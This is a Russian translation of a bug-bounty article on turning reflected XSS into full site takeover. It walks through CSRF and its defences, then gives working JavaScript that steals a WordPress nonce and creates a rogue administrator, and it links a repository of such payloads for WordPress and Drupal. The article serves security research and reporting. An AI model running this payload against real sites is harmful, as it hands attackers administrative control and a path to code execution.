Если вкратце, то, прежде чем сообщить об XSS уязвимости, проверьте, что еще можно получить с ее помощью. Вот ссылка на мой репозиторий с вредоносным кодом на JavaScript для таких распространенных платформ как Wordpress и Drupal. В ближайшее время добавлю еще.
Кажется, что каждый день в Твиттере мне попадаются не до конца раскрученные XSS уязвимости. Вот и сегодня увидел одну такую, описанную неким Джимом (имя изменено, чтобы не создавалось впечатление будто порицаю кого-то). Отчет выглядел примерно так:
- Джим обнаружил, что некая информация, вводимая пользователем, не проверятся.
- Джим прописал
<script> alert(1)</script>в поле для ввода, после чего всплыло окно с предупреждением. - Серьезность уязвимости классифицировали как P3/Medium (средняя).
- Вознаграждение составило 300$.
- Конец.
И это проблема не только Джима. Многие пентестеры и багхантеры не прикладывают лишних усилий, чтобы создать полностью рабочий вредоносный код для эксплуатации XSS уязвимости, поскольку это либо занимает слишком много времени, либо слишком сложно, либо же они даже не догадываются, что можно сделать. Прочитав эту статью, вы поймете, как превратить найденную XSS уязвимость в оружие, а также получите несколько кусков написанного мною кода, который позволяет атакующему получить полный административный контроль над некоторыми распространенными системами управления контентом, а именно Wordpress и Drupal.
Прежде чем продолжить тему об XSS уязвимостях, следует немного поговорить о подделке межсайтовых запросов (CSRF). Атака CSRF происходит, когда атакующий может выполнить важные действия в рамках сессии жертвы, заставив ее кликнуть по ссылке в ее же браузере. Например, представим, что этот адрес используется веб-приложением для смены пароля пользователя:
https://www.example.com/profile/update_password?new_password=Welcome1Конечно, помещать пароль в GET запрос — порочная практика, но сейчас не об этом. Если не используются меры защиты от CSRF атак, то атакующий может отправить жертве ссылку такого вида:
https://www.example.com/profile/update_password?new_password=HACKERКогда жертва, которая уже аутентифицирована на сайте www.example.com, кликнет по ссылке, на сервер будет отправлен запрос на смену пароля, а также данные о сеансе жертвы. Таким образом пароль пользователя сменится на абсолютно любой, выбранный хакером, в данном случае это “HACKER”.
Защита от CSRF
Вы, наверно, подумали: «Как же защитится от этой уязвимости?». Прежде всего, такие запросы должны отправляться как POST запросы с фактическими данными в теле запроса. При использовании POST запросов провести CSRF атаку сложнее из-за блокировок правила ограничения домена (Same Origin Policy). Но, знайте, что есть исключения.
Самый распространенный способ предотвратить атаку CSRF — это использовать CSRF токены (которые также известные как одноразовые коды или nonce). Суть в том, что генерируется случайная строка, к которой можно получить доступ только в браузере пользователя. Каждый раз, когда отправляется запрос на выполнение важного действия, вместе с ним отправляется и одноразовый код. Сервер проверяет этот код. Если он правильный, то действие по заполнению формы выполняется, а если нет, то запрос отклоняется сервером. Более подробно это описано в OWASP CSRF Prevention Cheat Sheet.
Но вот в чем дело, если найти XSS уязвимость, то можно обойти практически любой существующий механизм защиты от CSRF атак. Правда есть одно исключение — отправка формы требует вмешательства со стороны пользователя (как описано тут).
Как с помощью XSS обойти защиту от CSRF
Во-первых, XSS позволяет полностью обойти правило ограничения домена. Поскольку вредоносный код для эксплуатации XSS уязвимости выполняется в контексте уязвимого приложения, запросы, созданные благодаря уязвимости, обрабатываются так же, как и любые другие запросы от приложения и вследствие этого не блокируются.
Во-вторых, XSS может обойти использование CSRF токенов, потому что внедренный JavaScript может добыть правильный одноразовый код из исходного кода формы и отправить его вместе с важным запросом. Использование этой техники продемонстрировано в примере ниже.
Пример более эффективной эксплуатации XSS уязвимости для получения полных прав администратора на Wordpress
Рассмотрим следующие факты:
- Сегодня около 30% всех сайтов в интернете написаны на Wordpress.
- XSS уязвимость на сайте под управлением Wordpress можно использовать чтобы создать нового пользователя с правами администратора с любым именем и паролем на выбор атакующего.
- Права администратора на Wordpress позволяют загружать плагины.
- Загрузка вредоносных плагинов приведёт к удаленному выполнению кода.
Это особенно опасно, если учесть, что имена всех пользователей сайта на Wordpress можно получить с помощью такого инструмента как WPScan. Владельца учетной записи можно идентифицировать просто погуглив его имя и компанию или поискав его на LinkedIn.
Не стоит также забывать, что большинство плагинов и тем для Wordpress создаются независимыми разработчиками и просто пронизаны уязвимостями. К примеру, вот 14000 таких: https://wpvulndb.com/.
Недавно я сам очутился в подобной ситуации с баг-баунти программой. Обнаружил типичную отраженную уязвимость XSS в сайте на Wordpress и получил имя администратора с помощью WPScan. Все совершенные действия я детально описал в тикете баг-баунти программы, в результате чего уязвимость была классифицирована как P1/Critical (критичная), хоть по сути являлась не чем иным, как отраженной уязвимостью XSS. Контекст имеет значение.
Вредоносный код
Вместе с этой статьей я создал репозиторий на Github, в котором опубликовал вредоносный код на JavaScript, позволяющий взять под контроль сайты на Wordpress и Drupal, создав нового пользователя с правами администратора. Сейчас там всего два примера. Со временем добавлю больше кода на JavaScript для распространенных платформ и фреймворков, и при желании вы тоже можете в этом поучаствовать. Взглянуть на то, что есть, можно тут:
https://github.com/hakluke/weaponised-XSS-payloads
В качестве тизера, вот вам пример вредоносного кода на JavaScript, который создаст нового пользователя с правами администратора для сайта на Wordpress.
Код:
/*
Цель: Wordpress – проверено на версии 5.1.1, но возможно работает и на других
Действия: создать нового пользователя с правами администратора с именем "hacker", почтой "hacker@example.com" и паролем "AttackerP455"
Контекст: необходимо выполнить в контексте администратора
*/
var wp_root = "" // не добавляйте слеш в конце
var req = new XMLHttpRequest();
var url = wp_root + "/wp-admin/user-new.php";
var regex = /ser" value="([^"]*?)"/g;
req.open("GET", url, false);
req.send();
var nonce = regex.exec(req.responseText);
var nonce = nonce[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=hacker&email=hacker@example.com&pass1=AttackerP455&pass2=AttackerP455&role=administrator";
req.open("POST", url, true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
Автор: Luke Stephens (@hakluke)
Источник: https://medium.com/@hakluke/upgrade-xss-from-medium-to-critical-cb96597b6cc4